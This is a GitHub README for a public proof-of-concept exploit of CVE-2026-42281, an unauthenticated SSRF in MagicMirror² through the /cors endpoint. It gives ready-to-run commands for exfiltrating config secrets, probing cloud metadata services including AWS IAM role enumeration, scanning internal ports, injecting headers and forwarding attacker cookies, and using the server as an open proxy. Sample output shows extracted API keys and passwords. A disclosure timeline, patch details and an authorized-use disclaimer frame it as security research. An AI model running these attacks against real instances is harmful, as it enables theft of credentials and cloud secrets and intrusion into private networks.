astaruf/cve-2026-42281Proof-of-concept exploit for CVE-2026-42281, an unauthenticated SSRF in MagicMirror² ≤ 2.35.0, enabling config exfiltration, cloud metadata probing, and internal network scanning.
/cors endpoint
Discovered & reported by: Astaruf
Full writeup: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
Upstream advisory: MagicMirrorOrg/MagicMirror security advisories
This repository hosts the proof-of-concept exploit for CVE-2026-42281, an unauthenticated SSRF in MagicMirror² ≤ 2.35.0 that turns the /cors endpoint into a fully functional SSRF proxy reaching loopback, internal networks, and cloud metadata services. With hideConfigSecrets: true, the same endpoint also exfiltrates process.env.SECRET_* values in a single request.
For the complete code review, vulnerability analysis, fix breakdown, CVSS dispute and timeline, see the full writeup on nstsec.com. This README focuses on how to use the PoC.
# 1. Verify the target is vulnerable
python3 poc.py -t http://target:8080 --check
# 2. Exfiltrate the application config (with automatic secret discovery)
python3 poc.py -t http://target:8080 --config
# 3. Probe cloud metadata services on 10+ providers
python3 poc.py -t http://target:8080 --cloud
# 4. Internal network port scan via SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. Demonstrate inbound/outbound header abuse
python3 poc.py -t http://target:8080 --headers
# 6. Use the server as a generic open proxy
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| Flag | Description |
|---|---|
--check | Verify SSRF is exploitable via loopback fetch of /version |
--config | SSRF /config over loopback, parse JSON, hunt for API keys / tokens / passwords in module configs |
--cloud | Probe metadata services across AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; auto-follow AWS IAM role enumeration |
--port-scan HOSTS | Scan one or more hosts (-p 22,80 / -p 0-1024 / -p - for all 65535 ports), threaded |
--headers | Part A: inject Authorization/X-* headers into the outbound request via sendheaders. Part B: forward attacker-controlled Set-Cookie from a malicious origin to the victim browser via expectedheaders |
--open-proxy URL | Generic SSRF GET to any URL, prints the response body (useful for exploring internal HTTP APIs) |
| Option | Default | Description |
|---|---|---|
-t / --target | required | Target URL, e.g. http://192.168.1.10:8080 |
--timeout | 2.0 | Per-request timeout in seconds |
--threads | 30 | Threads for --port-scan |
--verbose | off | Print full JSON responses (and unredacted cloud-metadata bodies) |
1. PoC banner and --check mode confirming SSRF:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — Unauthenticated SSRF via /cors endpoint
Author: Astaruf | https://nstsec.com
CHECK, Target reachability and SSRF confirmation
[*] Verifying target reachability ...
[+] Target reachable, MagicMirror 2.35.0
[*] Confirming SSRF via loopback ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF CONFIRMED, server fetched internal resource on our behalf
<< 2.35.0
2. --config exfiltrates the application config and auto-discovers secrets in module configs:
CONFIG EXFILTRATION, Full config via SSRF loopback
[+] Config retrieved, 1194 bytes
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] open to all IPs
SECRETS FOUND:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers confirms outbound injection and inbound forwarding:
HEADER INJECTION, Outbound and inbound header abuse
[*] Part A: injecting arbitrary headers into outbound requests via sendheaders
[+] Header X-Injected-By: SSRF-PoC confirmed in outbound request
[+] Header Authorization: Bearer DEMO_TOKEN confirmed in outbound request
[*] Part B: forwarding response headers to the browser via expectedheaders
[+] Response header Set-Cookie forwarded to browser: session=hijacked;HttpOnly
[+] Browser receives this cookie as if it originated from the MagicMirror domain
4. --open-proxy confirms outbound HTTP from the server:
OPEN PROXY, Fetching https://httpbin.org/ip via vulnerable server
[+] HTTP 200, 32 bytes received from server
{
"origin": "<server's public IP, not the attacker's>"
}
--check (and every other mode) sends an SSRF loopback to http://127.0.0.1:<port>/version. When testing through Docker, make sure the host port matches the in-container port (e.g. map 8080:8080, not 8081:8080), otherwise the loopback target won't resolve from inside the container even if the instance is genuinely vulnerable.--cloud against a non-cloud instance (Raspberry Pi, bare metal) produces no hits — this is expected and the script reports it explicitly. The vector exists; testing it requires a real cloud deployment.Shipped in MagicMirror² v2.36.0 (released April 30, 2026). The fix is layered across six PRs (#4084, #4087, #4090, #4091, #4102, #4104). See the full writeup for the per-PR breakdown, code snippets, and the verification matrix of bypass attempts re-tested against the patched version.
| Date | Event |
|---|---|
| 2026-03-30 | Vulnerability discovered, public issue opened, email sent to maintainer |
| 2026-03-31 | Maintainer acknowledged the report |
| 2026-04-01 | Maintainers added SECURITY.md and enabled GitHub Security Advisories on the repo |
| 2026-04-09 | Formal GHSA advisory opened |
| 2026-04-26 | Fix confirmed for next release. CVE-2026-42281 assigned by GitHub |
| 2026-04-26 | CVSS dispute — vector raised from Moderate to 9.2 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 released, fix shipped publicly |
| 2026-05-04 | Public disclosure (writeup + PoC repository) |
This material is provided for authorized security testing and educational purposes only. Use it only against MagicMirror² instances you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.